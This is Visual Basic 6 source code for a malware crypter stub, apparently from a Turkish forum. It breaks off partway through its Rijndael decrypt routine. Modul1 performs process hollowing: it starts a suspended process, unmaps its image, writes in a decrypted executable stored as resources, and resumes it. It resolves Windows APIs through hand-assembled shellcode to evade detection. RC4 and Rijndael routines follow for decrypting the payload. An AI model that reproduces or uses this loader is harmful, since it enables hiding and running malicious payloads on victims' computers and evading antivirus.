Kod:
Modul1
Private oTest As CRpolat
Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRe********s As Long
PointerToLinenumbers As Long
NumberOfRe********s As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Private Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function lclose Lib "kernel32" Alias "_lclose" (ByVal hFile As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Function CallApi(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
On Error Resume Next
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long
lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function
lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallApi = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function
Sub InjectExe(ByVal sHost As String, ByRef bvBuff() As Byte)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT
Si.cb = Len(Si)
CallApi "kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(bvBuff(0)), 64
CallApi "kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(bvBuff(Pidh.e_lfanew)), 248
CallApi "kernel32", "CreateProcessW", 0, StrPtr(sHost), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(Si), VarPtr(Pi)
CallApi "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallApi "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
CallApi "kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase, VarPtr(bvBuff(0)), Pinh.OptionalHeader.SizeOfHeaders, 0
For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
CallApi "kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, VarPtr(bvBuff(Pish.PointerToRawData)), Pish.SizeOfRawData, 0
Next i
Ctx.ContextFlags = CONTEXT_FULL
CallApi "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
CallApi "kernel32", "WriteProcessMemory", Pi.hProcess, Ctx.Ebx + 8, VarPtr(Pinh.OptionalHeader.ImageBase), 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallApi "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallApi "kernel32", "ResumeThread", Pi.hThread
End Sub
Public Function ThisExe() As String
Dim lRet As Long
Dim bvBuff(255) As Byte
lRet = CallApi("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
End Function
Sub Main()
On Error Resume Next
InjectExe ThisExe, StrConv(strDecrypt(StrConv(LoadResData("FILE", "INFO"), vbUnicode), StrConv(LoadResData("SETTINGS", "INFO"), vbUnicode)), vbFromUnicode)
InjectExe ThisExe, StrConv(strDecrypt(StrConv(LoadResData("BFILE", "INFO"), vbUnicode), StrConv(LoadResData("SETTINGS", "INFO"), vbUnicode)), vbFromUnicode)
End Sub
Public Function strDecrypt(ByVal strMsg As String, ByVal pKey As String) As String
Dim BYTEARRAY() As Byte, byteKey() As Byte, CryptText() As Byte
On Local Error Resume Next
Set oTest = New CRijndael
BYTEARRAY() = StrConv(strMsg, vbFromUnicode)
byteKey() = StrConv(pKey, vbFromUnicode)
CryptText() = oTest.DecryptData(BYTEARRAY(), byteKey())
Set oTest = Nothing
strDecrypt = StrConv(CryptText(), vbUnicode)
End Function
Kod:
Modul2
Option Explicit
Public i As Integer
Public j As Integer
Public k As Integer
Public a As Byte
Public B As Byte
Dim M As Integer
Public L As Long
Public RC4KEY(255) As Byte
Public ADDTABLE(255, 255) As Byte
Dim STATE(0 To 255) As Byte
Public Sub FILL_LINEAR()
Dim bCONST(0 To 255) As Byte
For M = 0 To 255
bCONST(M) = M
STATE(M) = bCONST(M)
Next M
End Sub
Public Sub RC4(BYTEARRAY() As Byte, Optional PASSWORD As String)
If PASSWORD <> "" Then PREPARE_KEY PASSWORD
For L = 0 To UBound(BYTEARRAY)
i = ADDTABLE(i, 1)
j = ADDTABLE(j, STATE(i))
a = STATE(i): STATE(i) = STATE(j): STATE(j) = a
B = STATE(ADDTABLE(STATE(i), STATE(j)))
BYTEARRAY(L) = BYTEARRAY(L) Xor B
Next L
End Sub
Public Sub PREPARE_KEY(sKEY As String)
INITIALIZE_ADDTABLE
FILL_LINEAR
k = Len(sKEY)
For i = 0 To k - 1
B = Asc(Mid$(sKEY, i + 1, 1))
For j = i To 255 Step k
RC4KEY(j) = B
Next j
Next i
j = 0
For i = 0 To 255
k = ADDTABLE(STATE(i), RC4KEY(i))
j = ADDTABLE(j, k)
B = STATE(i): STATE(i) = STATE(j): STATE(j) = B
Next i
i = 0
j = 0
End Sub
Public Sub INITIALIZE_ADDTABLE()
Static BeenHereDoneThat As Boolean
If BeenHereDoneThat Then Exit Sub
For j = 0 To 255
For i = 0 To 255
ADDTABLE(i, j) = CByte((i + j) And 255)
Next i
Next j
BeenHereDoneThat = True
End Sub
Public Function STRING_TO_BYTES(sString As String) As Byte()
STRING_TO_BYTES = StrConv(sString, vbFromUnicode)
End Function
Public Function BYTES_TO_STRING(bBytes() As Byte) As String
BYTES_TO_STRING = bBytes
BYTES_TO_STRING = StrConv(BYTES_TO_STRING, vbUnicode)
End Function
Public Function RC4_String(InputStr As String, PasswordStr As String) As String
Dim tmpByte() As Byte
tmpByte = STRING_TO_BYTES(InputStr)
RC4 tmpByte, PasswordStr
RC4_String = BYTES_TO_STRING(tmpByte)
End Function
Public Function SimpleHexDecrypt(lpszString As String, lpPassword As String) As String
Dim b1() As Byte, i1 As Long, s1 As String
ReDim Preserve b1(0 To (Len(lpszString) / 2) - 1) As Byte
For i1 = 1 To Len(lpszString) / 2
b1(i1 - 1) = CLng("&H" & Mid(lpszString, 1 + (i1 - 1) * 2, 2))
Next
RC4 b1, lpPassword
SimpleHexDecrypt = BYTES_TO_STRING(b1)
End Function
Kod:
class mod
' Credits : Emre Polat
Option Explicit
Private m_lOnBits(30) As Long
Private m_l2Power(30) As Long
Private m_bytOnBits(7) As Byte
Private m_byt2Power(7) As Byte
Private m_InCo(3) As Byte
Private m_fbsub(255) As Byte
Private m_rbsub(255) As Byte
Private m_ptab(255) As Byte
Private m_ltab(255) As Byte
Private m_ftable(255) As Long
Private m_rtable(255) As Long
Private m_rco(29) As Long
Private m_Nk As Long
Private m_Nb As Long
Private m_Nr As Long
Private m_fi(23) As Byte
Private m_ri(23) As Byte
Private m_fkey(119) As Long
Private m_rkey(119) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Any, ByVal Source As Any, ByVal Length As Long)
Private Sub Class_Initialize()
m_InCo(0) = &HB: m_InCo(1) = &HD
m_InCo(2) = &H9: m_InCo(3) = &HE
m_bytOnBits(0) = 1 ' 00000001
m_bytOnBits(1) = 3 ' 00000011
m_bytOnBits(2) = 7 ' 00000111
m_bytOnBits(3) = 15 ' 00001111
m_bytOnBits(4) = 31 ' 00011111
m_bytOnBits(5) = 63 ' 00111111
m_bytOnBits(6) = 127 ' 01111111
m_bytOnBits(7) = 255 ' 11111111
m_byt2Power(0) = 1 ' 00000001
m_byt2Power(1) = 2 ' 00000010
m_byt2Power(2) = 4 ' 00000100
m_byt2Power(3) = 8 ' 00001000
m_byt2Power(4) = 16 ' 00010000
m_byt2Power(5) = 32 ' 00100000
m_byt2Power(6) = 64 ' 01000000
m_byt2Power(7) = 128 ' 10000000
m_lOnBits(0) = 1 ' 00000000000000000000000000000001
m_lOnBits(1) = 3 ' 00000000000000000000000000000011
m_lOnBits(2) = 7 ' 00000000000000000000000000000111
m_lOnBits(3) = 15 ' 00000000000000000000000000001111
m_lOnBits(4) = 31 ' 00000000000000000000000000011111
m_lOnBits(5) = 63 ' 00000000000000000000000000111111
m_lOnBits(6) = 127 ' 00000000000000000000000001111111
m_lOnBits(7) = 255 ' 00000000000000000000000011111111
m_lOnBits(8) = 511 ' 00000000000000000000000111111111
m_lOnBits(9) = 1023 ' 00000000000000000000001111111111
m_lOnBits(10) = 2047 ' 00000000000000000000011111111111
m_lOnBits(11) = 4095 ' 00000000000000000000111111111111
m_lOnBits(12) = 8191 ' 00000000000000000001111111111111
m_lOnBits(13) = 16383 ' 00000000000000000011111111111111
m_lOnBits(14) = 32767 ' 00000000000000000111111111111111
m_lOnBits(15) = 65535 ' 00000000000000001111111111111111
m_lOnBits(16) = 131071 ' 00000000000000011111111111111111
m_lOnBits(17) = 262143 ' 00000000000000111111111111111111
m_lOnBits(18) = 524287 ' 00000000000001111111111111111111
m_lOnBits(19) = 1048575 ' 00000000000011111111111111111111
m_lOnBits(20) = 2097151 ' 00000000000111111111111111111111
m_lOnBits(21) = 4194303 ' 00000000001111111111111111111111
m_lOnBits(22) = 8388607 ' 00000000011111111111111111111111
m_lOnBits(23) = 16777215 ' 00000000111111111111111111111111
m_lOnBits(24) = 33554431 ' 00000001111111111111111111111111
m_lOnBits(25) = 67108863 ' 00000011111111111111111111111111
m_lOnBits(26) = 134217727 ' 00000111111111111111111111111111
m_lOnBits(27) = 268435455 ' 00001111111111111111111111111111
m_lOnBits(28) = 536870911 ' 00011111111111111111111111111111
m_lOnBits(29) = 1073741823 ' 00111111111111111111111111111111
m_lOnBits(30) = 2147483647 ' 01111111111111111111111111111111
m_l2Power(0) = 1 ' 00000000000000000000000000000001
m_l2Power(1) = 2 ' 00000000000000000000000000000010
m_l2Power(2) = 4 ' 00000000000000000000000000000100
m_l2Power(3) = 8 ' 00000000000000000000000000001000
m_l2Power(4) = 16 ' 00000000000000000000000000010000
m_l2Power(5) = 32 ' 00000000000000000000000000100000
m_l2Power(6) = 64 ' 00000000000000000000000001000000
m_l2Power(7) = 128 ' 00000000000000000000000010000000
m_l2Power(8) = 256 ' 00000000000000000000000100000000
m_l2Power(9) = 512 ' 00000000000000000000001000000000
m_l2Power(10) = 1024 ' 00000000000000000000010000000000
m_l2Power(11) = 2048 ' 00000000000000000000100000000000
m_l2Power(12) = 4096 ' 00000000000000000001000000000000
m_l2Power(13) = 8192 ' 00000000000000000010000000000000
m_l2Power(14) = 16384 ' 00000000000000000100000000000000
m_l2Power(15) = 32768 ' 00000000000000001000000000000000
m_l2Power(16) = 65536 ' 00000000000000010000000000000000
m_l2Power(17) = 131072 ' 00000000000000100000000000000000
m_l2Power(18) = 262144 ' 00000000000001000000000000000000
m_l2Power(19) = 524288 ' 00000000000010000000000000000000
m_l2Power(20) = 1048576 ' 00000000000100000000000000000000
m_l2Power(21) = 2097152 ' 00000000001000000000000000000000
m_l2Power(22) = 4194304 ' 00000000010000000000000000000000
m_l2Power(23) = 8388608 ' 00000000100000000000000000000000
m_l2Power(24) = 16777216 ' 00000001000000000000000000000000
m_l2Power(25) = 33554432 ' 00000010000000000000000000000000
m_l2Power(26) = 67108864 ' 00000100000000000000000000000000
m_l2Power(27) = 134217728 ' 00001000000000000000000000000000
m_l2Power(28) = 268435456 ' 00010000000000000000000000000000
m_l2Power(29) = 536870912 ' 00100000000000000000000000000000
m_l2Power(30) = 1073741824 ' 01000000000000000000000000000000
End Sub
Private Function LShift(ByVal lValue As Long, ByVal iShiftBits As Integer) As Long
If iShiftBits = 0 Then
LShift = lValue: Exit Function
ElseIf iShiftBits = 31 Then
LShift = IIf(lValue And 1, &H80000000, 0)
Exit Function
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If
If (lValue And m_l2Power(31 - iShiftBits)) Then
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000
Else
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))
End If
End Function
Private Function RShift(ByVal lValue As Long, ByVal iShiftBits As Integer) As Long
If iShiftBits = 0 Then
RShift = lValue: Exit Function
ElseIf iShiftBits = 31 Then
RShift = IIf(lValue And &H80000000, 1, 0)
Exit Function
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
If (lValue And &H80000000) Then RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End Function
Private Function LShiftByte(ByVal bytValue As Byte, ByVal bytShiftBits As Byte) As Byte
If bytShiftBits = 0 Then
LShiftByte = bytValue: Exit Function
ElseIf bytShiftBits = 7 Then
LShiftByte = IIf(bytValue And 1, &H80, 0)
Exit Function
ElseIf bytShiftBits < 0 Or bytShiftBits > 7 Then
Err.Raise 6
End If
LShiftByte = ((bytValue And m_bytOnBits(7 - bytShiftBits)) * m_byt2Power(bytShiftBits))
End Function
Private Function RShiftByte(ByVal bytValue As Byte, ByVal bytShiftBits As Byte) As Byte
If bytShiftBits = 0 Then
RShiftByte = bytValue: Exit Function
ElseIf bytShiftBits = 7 Then
RShiftByte = IIf(bytValue And &H80, 1, 0)
Exit Function
ElseIf bytShiftBits < 0 Or bytShiftBits > 7 Then
Err.Raise 6
End If
RShiftByte = bytValue \ m_byt2Power(bytShiftBits)
End Function
Private Function RotateLeft(ByVal lValue As Long, ByVal iShiftBits As Integer) As Long
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function
Private Function RotateLeftByte(ByVal bytValue As Byte, ByVal bytShiftBits As Byte) As Byte
RotateLeftByte = LShiftByte(bytValue, bytShiftBits) Or RShiftByte(bytValue, (8 - bytShiftBits))
End Function
Private Function Pack(B() As Byte) As Long
Dim lCount As Long, lTemp As Long
For lCount = 0 To 3
lTemp = B(lCount): Pack = Pack Or LShift(lTemp, (lCount * 8))
Next lCount
End Function
Private Function PackFrom(B() As Byte, ByVal k As Long) As Long
Dim lCount As Long, lTemp As Long
For lCount = 0 To 3
lTemp = B(lCount + k): PackFrom = PackFrom Or LShift(lTemp, (lCount * 8))
Next lCount
End Function
Private Sub Unpack(ByVal a As Long, B() As Byte)
B(0) = a And m_lOnBits(7)
B(1) = RShift(a, 8) And m_lOnBits(7)
B(2) = RShift(a, 16) And m_lOnBits(7)
B(3) = RShift(a, 24) And m_lOnBits(7)
End Sub
Private Sub UnpackFrom(ByVal a As Long, B() As Byte, ByVal k As Long)
B(0 + k) = a And m_lOnBits(7)
B(1 + k) = RShift(a, 8) And m_lOnBits(7)
B(2 + k) = RShift(a, 16) And m_lOnBits(7)
B(3 + k) = RShift(a, 24) And m_lOnBits(7)
End Sub
Private Function Xtime(ByVal a As Byte) As Byte
Dim B As Byte: B = IIf(a And &H80, &H1B, 0)
a = LShiftByte(a, 1): a = a Xor B: Xtime = a
End Function
Private Function Bmul(ByVal x As Byte, y As Byte) As Byte
If x <> 0 And y <> 0 Then
Bmul = m_ptab((CLng(m_ltab(x)) + CLng(m_ltab(y))) Mod 255)
Else
Bmul = 0
End If
End Function
Private Function SubByte(ByVal a As Long) As Long
Dim B(3) As Byte
Unpack a, B
B(0) = m_fbsub(B(0)): B(1) = m_fbsub(B(1))
B(2) = m_fbsub(B(2)): B(3) = m_fbsub(B(3))
SubByte = Pack(B)
End Function
Private Function Product(ByVal x As Long, ByVal y As Long) As Long
Dim xb(3) As Byte, yb(3) As Byte
Unpack x, xb: Unpack y, yb
Product = Bmul(xb(0), yb(0)) Xor Bmul(xb(1), yb(1)) Xor Bmul(xb(2), yb(2)) Xor Bmul(xb(3), yb(3))
End Function
Private Function InvMixCol(ByVal x As Long) As Long
Dim y As Long, M As Long, B(3) As Byte
M = Pack(m_InCo)
B(3) = Product(M, x): M = RotateLeft(M, 24)
B(2) = Product(M, x): M = RotateLeft(M, 24)
B(1) = Product(M, x): M = RotateLeft(M, 24)
B(0) = Product(M, x): y = Pack(B)
InvMixCol = y
End Function
Private Function ByteSub(ByVal x As Byte) As Byte
Dim y As Byte
y = m_ptab(255 - m_ltab(x)): x = y
x = RotateLeftByte(x, 1): y = y Xor x
x = RotateLeftByte(x, 1): y = y Xor x
x = RotateLeftByte(x, 1): y = y Xor x
x = RotateLeftByte(x, 1): y = y Xor x
y = y Xor &H63: ByteSub = y
End Function
Private Sub gentables()
Dim i As Long, y As Byte
Dim B(3) As Byte, ib As Byte
m_ltab(0) = 0: m_ptab(0) = 1
m_ltab(1) = 0: m_ptab(1) = 3
m_ltab(3) = 1
For i = 2 To 255
m_ptab(i) = m_ptab(i - 1) Xor Xtime(m_ptab(i - 1))
m_ltab(m_ptab(i)) = i
Next i
m_fbsub(0) = &H63: m_rbsub(&H63) = 0
For i = 1 To 255
ib = i: y = ByteSub(ib)
m_fbsub(i) = y: m_rbsub(y) = i
Next i
y = 1
For i = 0 To 29
m_rco(i) = y: y = Xtime(y)
Next i
For i = 0 To 255
y = m_fbsub(i): B(3) = y Xor Xtime(y)
B(2) = y: B(1) = y
B(0) = Xtime(y): m_ftable(i) = Pack(B)
y = m_rbsub(i): B(3) = Bmul(m_InCo(0), y)
B(2) = Bmul(m_InCo(1), y): B(1) = Bmul(m_InCo(2), y)
B(0) = Bmul(m_InCo(3), y): m_rtable(i) = Pack(B)
Next i
End Sub
Private Sub gkey(ByVal nb As Long, ByVal nk As Long, Key() As Byte)
Dim i As Long, j As Long, k As Long, M As Long
Dim N As Long, C1 As Long, C2 As Long, C3 As Long
Dim CipherKey(7) As Long
m_Nb = nb: m_Nk = nk
If m_Nb >= m_Nk Then
m_Nr = 6 + m_Nb
Else
m_Nr = 6 + m_Nk
End If
C1 = 1
If m_Nb < 8 Then
C2 = 2: C3 = 3
Else
C2 = 3: C3 = 4
End If
For j = 0 To nb - 1
M = j * 3
m_fi(M) = (j + C1) Mod nb
m_fi(M + 1) = (j + C2) Mod nb
m_fi(M + 2) = (j + C3) Mod nb
m_ri(M) = (nb + j - C1) Mod nb
m_ri(M + 1) = (nb + j - C2) Mod nb
m_ri(M + 2) = (nb + j - C3) Mod nb
Next j
N = m_Nb * (m_Nr + 1)
For i = 0 To m_Nk - 1
j = i * 4: CipherKey(i) = PackFrom(Key, j)
Next i
For i = 0 To m_Nk - 1
m_fkey(i) = CipherKey(i)
Next i
j = m_Nk: k = 0
Do While j < N
m_fkey(j) = m_fkey(j - m_Nk) Xor SubByte(RotateLeft(m_fkey(j - 1), 24)) Xor m_rco(k)
If m_Nk <= 6 Then
i = 1
Do While i < m_Nk And (i + j) < N
m_fkey(i + j) = m_fkey(i + j - m_Nk) Xor m_fkey(i + j - 1): i = i + 1
Loop
Else
i = 1
Do While i < 4 And (i + j) < N
m_fkey(i + j) = m_fkey(i + j - m_Nk) Xor m_fkey(i + j - 1): i = i + 1
Loop
If j + 4 < N Then
m_fkey(j + 4) = m_fkey(j + 4 - m_Nk) Xor SubByte(m_fkey(j + 3))
End If
i = 5
Do While i < m_Nk And (i + j) < N
m_fkey(i + j) = m_fkey(i + j - m_Nk) Xor m_fkey(i + j - 1): i = i + 1
Loop
End If
j = j + m_Nk: k = k + 1
Loop
For j = 0 To m_Nb - 1
m_rkey(j + N - nb) = m_fkey(j)
Next j
i = m_Nb
Do While i < N - m_Nb
k = N - m_Nb - i
For j = 0 To m_Nb - 1
m_rkey(k + j) = InvMixCol(m_fkey(i + j))
Next j
i = i + m_Nb
Loop
j = N - m_Nb
Do While j < N
m_rkey(j - N + m_Nb) = m_fkey(j): j = j + 1
Loop
End Sub
Private Sub Encrypt(Buff() As Byte)
Dim i As Long, j As Long, k As Long, M As Long
Dim a(7) As Long, B(7) As Long, x() As Long
Dim y() As Long, t() As Long
For i = 0 To m_Nb - 1
j = i * 4: a(i) = PackFrom(Buff, j): a(i) = a(i) Xor m_fkey(i)
Next i
k = m_Nb: x = a: y = B
For i = 1 To m_Nr - 1
For j = 0 To m_Nb - 1
M = j * 3
y(j) = m_fkey(k) Xor m_ftable(x(j) And m_lOnBits(7)) Xor RotateLeft(m_ftable(RShift(x(m_fi(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_ftable(RShift(x(m_fi(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_ftable(RShift(x(m_fi(M + 2)), 24) And m_lOnBits(7)), 24)
k = k + 1
Next j
t = x: x = y: y = t
Next i
For j = 0 To m_Nb - 1
M = j * 3
y(j) = m_fkey(k) Xor m_fbsub(x(j) And m_lOnBits(7)) Xor RotateLeft(m_fbsub(RShift(x(m_fi(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_fbsub(RShift(x(m_fi(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_fbsub(RShift(x(m_fi(M + 2)), 24) And m_lOnBits(7)), 24)
k = k + 1
Next j
For i = 0 To m_Nb - 1
j = i * 4: UnpackFrom y(i), Buff, j: x(i) = 0: y(i) = 0
Next i
End Sub
Private Sub Decrypt(Buff() As Byte)
Dim i As Long, j As Long, k As Long, M As Long
Dim a(7) As Long, B(7) As Long, x() As Long
Dim y() As Long, t() As Long
For i = 0 To m_Nb - 1
j = i * 4: a(i) = PackFrom(Buff, j): a(i) = a(i) Xor m_rkey(i)
Next i
k = m_Nb: x = a: y = B
For i = 1 To m_Nr - 1
For j = 0 To m_Nb - 1
M = j * 3
y(j) = m_rkey(k) Xor m_rtable(x(j) And m_lOnBits(7)) Xor RotateLeft(m_rtable(RShift(x(m_ri(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_rtable(RShift(x(m_ri(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_rtable(RShift(x(m_ri(M + 2)), 24) And m_lOnBits(7)), 24)
k = k + 1
Next j
t = x: x = y: y = t
Next i
For j = 0 To m_Nb - 1
M = j * 3
y(j) = m_rkey(k) Xor m_rbsub(x(j) And m_lOnBits(7)) Xor RotateLeft(m_rbsub(RShift(x(m_ri(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_rbsub(RShift(x(m_ri(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_rbsub(RShift(x(m_ri(M + 2)), 24) And m_lOnBits(7)), 24)
k = k + 1
Next j
For i = 0 To m_Nb - 1
j = i * 4: UnpackFrom y(i), Buff, j: x(i) = 0: y(i) = 0
Next i
End Sub
Private Function IsInitialized(ByRef vArray As Variant) As Boolean
On Local Error Resume Next
IsInitialized = IsNumeric(UBound(vArray))
End Function
Public Function EncryptData(bytMessage() As Byte, bytPassword() As Byte) As Byte()
Dim bytKey(31) As Byte, bytIn() As Byte, bytOut() As Byte
Dim bytTemp(31) As Byte, lCount As Long, lLength As Long
Dim lEncodedLength As Long, bytLen(3) As Byte, lPosition As Long
If Not IsInitialized(bytMessage) Then Exit Function
If Not IsInitialized(bytPassword) Then Exit Function
For lCount = 0 To UBound(bytPassword)
bytKey(lCount) = bytPassword(lCount): If lCount = 31 Then Exit For
Next lCount
gentables
gkey 8, 8, bytKey
lLength = UBound(bytMessage) + 1: lEncodedLength = lLength + 4
If lEncodedLength Mod 32 <> 0 Then lEncodedLength = lEncodedLength + 32 - (lEncodedLength Mod 32)
ReDim bytIn(lEncodedLength - 1): ReDim bytOut(lEncodedLength - 1)
CopyMemory VarPtr(bytIn(0)), VarPtr(lLength), 4
CopyMemory VarPtr(bytIn(4)), VarPtr(bytMessage(0)), lLength
For lCount = 0 To lEncodedLength - 1 Step 32
CopyMemory VarPtr(bytTemp(0)), VarPtr(bytIn(lCount)), 32
Encrypt bytTemp
CopyMemory VarPtr(bytOut(lCount)), VarPtr(bytTemp(0)), 32
Next lCount
EncryptData = bytOut
End Function
Public Function DecryptData(bytIn() As Byte, bytPassword() As Byte) As Byte()
Dim bytMessage() As Byte, bytKey(31) As Byte, bytOut() As Byte
Dim bytTemp(31) As Byte, lCount As Long, lLength As Long
Dim lEncodedLength As Long, bytLen(3) As Byte, lPosition As Long
If Not IsInitialized(bytIn) Then Exit Function
If Not IsInitialized(bytPassword) Then Exit Function
lEncodedLength = UBound(bytIn) + 1
If lEncodedLength Mod 32 <> 0 Then Exit Function
For lCount = 0 To UBound(bytPassword)
bytKey(lCount) = bytPassword(lCount): If lCount = 31 Then Exit For
Next lCount
gentables
gkey 8, 8, bytKey
ReDim bytOut(lEncodedLength - 1)
For lCount = 0 To lEncodedLength - 1 Step 32
CopyMemory VarPtr(bytTemp(0)), VarPtr(bytIn(lCount)), 32
Decrypt bytTemp
CopyMemory VarPtr(bytOut(lCount)), VarPtr(bytTemp(0)), 32
Next lCount
CopyMemory VarPtr(lLength), VarPtr(bytOut(0)), 4
If lLength > lEncodedLength - 4 Then Exit Function
ReDim bytMessage(lLength - 1)
